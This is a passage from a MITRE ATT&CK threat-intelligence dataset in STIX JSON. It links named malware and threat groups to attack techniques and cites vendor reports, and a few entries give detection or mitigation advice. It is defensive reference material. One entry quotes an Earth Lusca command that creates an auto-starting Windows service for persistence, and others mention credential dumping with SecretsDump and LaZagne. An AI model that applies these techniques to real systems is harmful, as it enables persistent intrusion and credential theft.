Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well.","modified":"2022-04-20T01:39:16.775Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--cd6d8071-bcca-45ee-a477-3547d23d7758","created":"2021-12-27T19:19:42.880Z","x_mitre_version":"1.0","external_references":[{"source_name":"Check Point Warzone Feb 2020","url":"https://research.checkpoint.com/2020/warzone-behind-the-enemy-lines/","description":"Harakhavik, Y. (2020, February 3). Warzone: Behind the enemy lines. Retrieved December 17, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[WarzoneRAT](https://attack.mitre.org/software/S0670) can use `cmd.exe` to execute malicious code.(Citation: Check Point Warzone Feb 2020)","modified":"2022-04-07T16:29:12.087Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--fde19a18-e502-467f-be14-58c71b4e7f4b","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cd70a632-a961-4adb-aea9-9995ef8e2b54","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CopyKittens Nov 2015","description":"Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.","url":"https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf"}],"modified":"2020-03-16T17:11:22.807Z","description":"[Matryoshka](https://attack.mitre.org/software/S0167) uses rundll32.exe in a Registry Run key value for execution as part of its persistence mechanism.(Citation: CopyKittens Nov 2015)","relationship_type":"uses","source_ref":"malware--1cc934e4-b01d-4543-a011-b988dfc1a458","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cd71b4dd-c049-47d4-bd0c-04f3a36d23e2","created":"2024-09-23T23:02:03.685Z","revoked":false,"external_references":[{"source_name":"group-ib_redcurl1","description":"Group-IB. (2020, August). RedCurl: The Pentest You Didn’t Know About. Retrieved August 9, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl/"},{"source_name":"group-ib_redcurl2","description":"Group-IB. (2021, November). RedCurl: The Awakening. Retrieved August 14, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl-2/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T23:02:03.685Z","description":"[RedCurl](https://attack.mitre.org/groups/G1039) has collected information about domain accounts using SysInternal’s AdExplorer functionality .(Citation: group-ib_redcurl1)(Citation: group-ib_redcurl2)","relationship_type":"uses","source_ref":"intrusion-set--82323c70-4186-4b61-94f5-b227c3b28e89","target_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--cd78a407-3770-4806-8b06-13b7f7ccc2cf","created":"2022-04-10T23:45:23.242Z","x_mitre_version":"0.1","external_references":[{"source_name":"Crowdstrike DriveSlayer February 2022","url":"https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/","description":"Thomas, W. et al. (2022, February 25). CrowdStrike Falcon Protects from New Wiper Malware Used in Ukraine Cyberattacks. Retrieved March 25, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[HermeticWiper](https://attack.mitre.org/software/S0697) can load drivers by creating a new service using the `CreateServiceW` API.(Citation: Crowdstrike DriveSlayer February 2022)","modified":"2022-04-10T23:46:57.918Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--a0ab8a96-40c9-4483-8a54-3fafa6d6007a","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cd79adbd-3d52-4f26-aea4-cbbbc3d6aa66","type":"relationship","created":"2021-02-17T19:22:30.935Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Conti Jan 2021","url":"https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware","description":"Rochberger, L. (2021, January 12). Cybereason vs. Conti Ransomware. Retrieved February 17, 2021."},{"source_name":"CarbonBlack Conti July 2020","url":"https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/","description":"Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021."}],"modified":"2021-04-27T02:50:43.653Z","description":"[Conti](https://attack.mitre.org/software/S0575) has loaded an encrypted DLL into memory and then executes it.(Citation: Cybereason Conti Jan 2021)(Citation: CarbonBlack Conti July 2020)","relationship_type":"uses","source_ref":"malware--4dea7d8e-af94-4bfb-afe4-7ff54f59308b","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cd79beea-20ee-4b4f-aad1-5cc34d27398c","type":"relationship","created":"2017-05-31T21:33:27.046Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/the-epic-turla-operation/65545/","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.","source_name":"Kaspersky Turla"}],"modified":"2019-07-14T21:04:45.845Z","description":"(Citation: Kaspersky Turla)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"tool--03342581-f790-4f03-ba41-e82e67392e23","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cd7cda5b-ad63-433e-a47d-abbd6dca5f41","created":"2023-01-26T18:29:22.641Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Sept 2022","description":"Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.","url":"https://assets.sentinelone.com/sentinellabs22/metador#page=1"},{"source_name":"SentinelLabs Metador Technical Appendix Sept 2022","description":"SentinelLabs. (2022, September 22). Metador Technical Appendix. Retrieved April 4, 2023.","url":"https://docs.google.com/document/d/1e9ZTW9b71YwFWS_18ZwDAxa-cYbV8q1wUefmKZLYVsA/edit#heading=h.lmnbtht1ikzm"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-04T21:47:34.757Z","description":"[Mafalda](https://attack.mitre.org/software/S1060) can search for a variety of security software programs, EDR systems, and malware analysis tools.(Citation: SentinelLabs Metador Sept 2022)(Citation: SentinelLabs Metador Technical Appendix Sept 2022)","relationship_type":"uses","source_ref":"malware--3be1fb7a-0f7e-415e-8e3a-74a80d596e68","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cd82d148-f6b1-4247-8ccf-49fadbe7f245","type":"relationship","created":"2021-10-01T17:13:49.066Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 KerrDown February 2019","url":"https://unit42.paloaltonetworks.com/tracking-oceanlotus-new-downloader-kerrdown/","description":"Ray, V. and Hayashi, K. (2019, February 1). Tracking OceanLotus’ new Downloader, KerrDown. Retrieved October 1, 2021."}],"modified":"2021-10-01T17:39:35.912Z","description":"[Kerrdown](https://attack.mitre.org/software/S0585) can decode, decrypt, and decompress multiple layers of shellcode.(Citation: Unit 42 KerrDown February 2019)","relationship_type":"uses","source_ref":"malware--8c1d01ff-fdc0-4586-99bd-c248e0761af5","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cd849a7c-f63a-4157-b4c9-9385115da08a","created":"2021-12-06T19:48:35.193Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Core Security Impacket","description":"Core Security. (n.d.). Impacket. Retrieved November 2, 2017.","url":"https://www.coresecurity.com/core-labs/open-source-tools/impacket"},{"source_name":"US-CERT TA18-074A","description":"US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.","url":"https://www.us-cert.gov/ncas/alerts/TA18-074A"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-06T22:09:34.693Z","description":"[Dragonfly](https://attack.mitre.org/groups/G0035) has dropped and executed SecretsDump to dump password hashes.(Citation: US-CERT TA18-074A)(Citation: Core Security Impacket)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cd857476-0e6f-4ae1-8065-7b1e8e6661b0","type":"relationship","created":"2021-08-05T13:13:47.155Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-15T22:45:50.944Z","description":"Data loss prevention can detect and block sensitive data being sent over unencrypted protocols.","relationship_type":"mitigates","source_ref":"course-of-action--65401701-019d-44ff-b223-08d520bb0e7b","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--cd85a2d6-ebee-4ebd-9571-5cafcac15b05","created":"2022-07-18T18:54:16.891Z","x_mitre_version":"0.1","external_references":[{"source_name":"TrendMicro EarthLusca 2022","url":"https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf","description":"Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca’s Operations. Retrieved July 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Earth Lusca](https://attack.mitre.org/groups/G1006) created a service using the command sc create “SysUpdate” binpath= “cmd /c start “[file path]””&&sc config “SysUpdate” start= auto&&net\nstart SysUpdate for persistence.(Citation: TrendMicro EarthLusca 2022)","modified":"2022-07-18T18:54:16.891Z","relationship_type":"uses","source_ref":"intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cd85bffe-6371-4fd9-b327-469647ebb420","created":"2023-10-04T18:01:39.260Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender Sardonic Aug 2021","description":"Budaca, E., et al. (2021, August 25). FIN8 Threat Actor Goes Agile with New Sardonic Backdoor. Retrieved August 9, 2023.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/401/Bitdefender-PR-Whitepaper-FIN8-creat5619-en-EN.pdf"},{"source_name":"Symantec FIN8 Jul 2023","description":"Symantec Threat Hunter Team. (2023, July 18). FIN8 Uses Revamped Sardonic Backdoor to Deliver Noberus Ransomware. Retrieved August 9, 2023.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/syssphinx-fin8-backdoor"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-05T07:59:02.312Z","description":"[Sardonic](https://attack.mitre.org/software/S1085) has a plugin system that can load specially made DLLs into memory and execute their functions.(Citation: Bitdefender Sardonic Aug 2021)(Citation: Symantec FIN8 Jul 2023)","relationship_type":"uses","source_ref":"malware--0c52f5bc-557d-4083-bd27-66d7cdb794bb","target_ref":"attack-pattern--4933e63b-9b77-476e-ab29-761bc5b7d15a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cd89dfdb-5c48-4a91-ba2f-e3c6e74c5094","type":"relationship","created":"2020-05-08T18:41:16.424Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Cloud Atlas December 2014","url":"https://securelist.com/cloud-atlas-redoctober-apt-is-back-in-style/68083/","description":"GReAT. (2014, December 10). Cloud Atlas: RedOctober APT is back in style. Retrieved May 8, 2020."}],"modified":"2020-05-08T18:41:16.424Z","description":"[Inception](https://attack.mitre.org/groups/G0100) has encrypted network communications with AES.(Citation: Kaspersky Cloud Atlas December 2014)","relationship_type":"uses","source_ref":"intrusion-set--ead23196-d7b6-4ce6-a124-4ab4b67d81bd","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cd91751c-a2a2-4626-bb31-b95fd0040818","type":"relationship","created":"2021-08-12T15:15:15.456Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Sogeti CERT ESEC Babuk March 2021","url":"https://www.sogeti.com/globalassets/reports/cybersecchronicles_-_babuk.pdf","description":"Sogeti. (2021, March). Babuk Ransomware. Retrieved August 11, 2021."},{"source_name":"McAfee Babuk February 2021","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-babuk-ransomware.pdf","description":"Mundo, A. et al. (2021, February). Technical Analysis of Babuk Ransomware. Retrieved August 11, 2021."},{"source_name":"Trend Micro Ransomware February 2021","url":"https://www.trendmicro.com/en_us/research/21/b/new-in-ransomware.html","description":"Centero, R. et al. (2021, February 5). New in Ransomware: Seth-Locker, Babuk Locker, Maoloa, TeslaCrypt, and CobraLocker. Retrieved August 11, 2021."}],"modified":"2021-10-04T13:22:55.941Z","description":"[Babuk](https://attack.mitre.org/software/S0638) has the ability to check running processes on a targeted system.(Citation: Sogeti CERT ESEC Babuk March 2021)(Citation: McAfee Babuk February 2021)(Citation: Trend Micro Ransomware February 2021)","relationship_type":"uses","source_ref":"malware--61c7a91a-0b83-461d-ad32-75d96eed4a09","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cd958638-07f3-4c7f-acf3-404195d3a325","type":"relationship","created":"2020-03-14T23:25:21.184Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-14T23:25:21.184Z","relationship_type":"revoked-by","source_ref":"attack-pattern--7d751199-05fa-4a72-920f-85df4506c76c","target_ref":"attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cd95d72d-033c-4881-b233-70983106cbfa","created":"2020-03-19T23:50:06.570Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT34 July 2019","description":"Bromiley, M., et al.. (2019, July 18). Hard Pass: Declining APT34’s Invite to Join Their Professional Network. Retrieved August 26, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html"},{"source_name":"FireEye APT34 Webinar Dec 2017","description":"Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.","url":"https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"},{"source_name":"FireEye APT35 2018","description":"Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.","url":"https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf"},{"source_name":"Unit42 OilRig Playbook 2023","description":"Unit42. (2016, May 1). Evasive Serpens Unit 42 Playbook Viewer. Retrieved February 6, 2023.","url":"https://pan-unit42.github.io/playbook_viewer/?pb=evasive-serpens"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-06T20:41:06.908Z","description":"[OilRig](https://attack.mitre.org/groups/G0049) has used credential dumping tools such as [LaZagne](https://attack.mitre.org/software/S0349) to steal credentials to accounts logged into the compromised system and to Outlook Web Access.(Citation: Unit42 OilRig Playbook 2023)(Citation: FireEye APT34 Webinar Dec 2017)(Citation: FireEye APT35 2018)(Citation: FireEye APT34 July 2019)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"attack-pattern--6add2ab5-2711-4e9d-87c8-7a0be8531530","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cd99a29c-0364-4d56-97ff-97542ff76fde","type":"relationship","created":"2020-07-16T15:51:25.693Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2020-08-17T14:49:07.976Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) can replace legitimate software or documents in the compromised network with their trojanized versions, in an attempt to propagate itself within the network.(Citation: ESET InvisiMole June 2020)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cd9c7491-e0c8-4d98-8ac7-d7cccf77e98e","created":"2024-05-28T13:29:32.095Z","revoked":false,"external_references":[{"source_name":"Palo Alto Unit 42 OutSteel SaintBot February 2022 ","description":"Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022.","url":"https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-28T13:29:32.096Z","description":"[OutSteel](https://attack.mitre.org/software/S1017) can download the [Saint Bot](https://attack.mitre.org/software/S1018) malware for follow-on execution.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )","relationship_type":"uses","source_ref":"malware--c113230f-f044-423b-af63-9b63c802f5ae","target_ref":"attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cd9d7183-d7c2-4253-ab57-1c53a6d00a1a","type":"relationship","created":"2021-05-31T16:31:47.842Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Bandook Nov 2020","url":"https://research.checkpoint.com/2020/bandook-signed-delivered/","description":"Check Point. (2020, November 26). Bandook: Signed & Delivered. Retrieved May 31, 2021."}],"modified":"2021-05-31T16:31:47.842Z","description":"[Bandook](https://attack.mitre.org/software/S0234) has a command to delete a file.(Citation: CheckPoint Bandook Nov 2020)","relationship_type":"uses","source_ref":"malware--835a79f1-842d-472d-b8f4-d54b545c341b","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cda14004-4ea7-4c25-9ef2-ca370d869894","type":"relationship","created":"2022-03-30T14:26:51.866Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.866Z","description":"Monitor newly executed processes that may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--b22e5153-ac28-4cc6-865c-2054e36285cb","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cdb1549e-d3e6-4826-8f42-ca85fa9d08eb","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://objective-see.com/blog/blog_0x25.html","description":"Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.","source_name":"objsee mac malware 2017"}],"modified":"2019-06-24T19:03:52.785Z","description":"[Proton](https://attack.mitre.org/software/S0279) captures the content of the desktop with the screencapture binary.(Citation: objsee mac malware 2017)","relationship_type":"uses","source_ref":"malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cdbbaa5b-c1d7-4e94-8a0e-a0be60ec377c","type":"relationship","created":"2021-03-02T16:42:09.500Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CERT-FR PYSA April 2020","url":"https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-003.pdf","description":"CERT-FR. (2020, April 1). ATTACKS INVOLVING THE MESPINOZA/PYSA RANSOMWARE. Retrieved March 1, 2021."}],"modified":"2021-03-02T16:42:09.500Z","description":"[Pysa](https://attack.mitre.org/software/S0583) can stop services and processes.(Citation: CERT-FR PYSA April 2020) ","relationship_type":"uses","source_ref":"malware--a19c1197-9414-46e3-986f-0f609ff4a46b","target_ref":"attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cdbfa147-52be-411d-bcbd-f6dcbf91d7b5","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Unit42 OilRig Nov 2018","description":"Falcone, R., Wilhoit, K.. (2018, November 16). Analyzing OilRig’s Ops Tempo from Testing to Weaponization to Delivery. Retrieved April 23, 2019.","url":"https://unit42.paloaltonetworks.com/unit42-analyzing-oilrigs-ops-tempo-testing-weaponization-delivery/"},{"source_name":"Unit 42 QUADAGENT July 2018","description":"Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/"},{"source_name":"Crowdstrike Helix Kitten Nov 2018","description":"Meyers, A. (2018, November 27). Meet CrowdStrike’s Adversary of the Month for November: HELIX KITTEN. Retrieved December 18, 2018.","url":"https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/"},{"source_name":"FireEye APT34 Dec 2017","description":"Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"},{"source_name":"Unit42 OilRig Playbook 2023","description":"Unit42. (2016, May 1). Evasive Serpens Unit 42 Playbook Viewer. Retrieved February 6, 2023.","url":"https://pan-unit42.github.io/playbook_viewer/?pb=evasive-serpens"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T00:33:15.399Z","description":"[OilRig](https://attack.mitre.org/groups/G0049) has encrypted and encoded data in its malware, including by using base64.(Citation: FireEye APT34 Dec 2017)(Citation: Unit 42 QUADAGENT July 2018)(Citation: Unit42 OilRig Playbook 2023)(Citation: Crowdstrike Helix Kitten Nov 2018)(Citation: Unit42 OilRig Nov 2018)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cdc0bf25-e132-4214-b3e0-c784da6cfbeb","type":"relationship","created":"2019-01-29T18:23:46.181Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Nokki Oct 2018","url":"https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/","description":"Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018."}],"modified":"2020-03-16T16:43:12.206Z","description":"[DOGCALL](https://attack.mitre.org/software/S0213) can capture microphone data from the victim's machine.(Citation: Unit 42 Nokki Oct 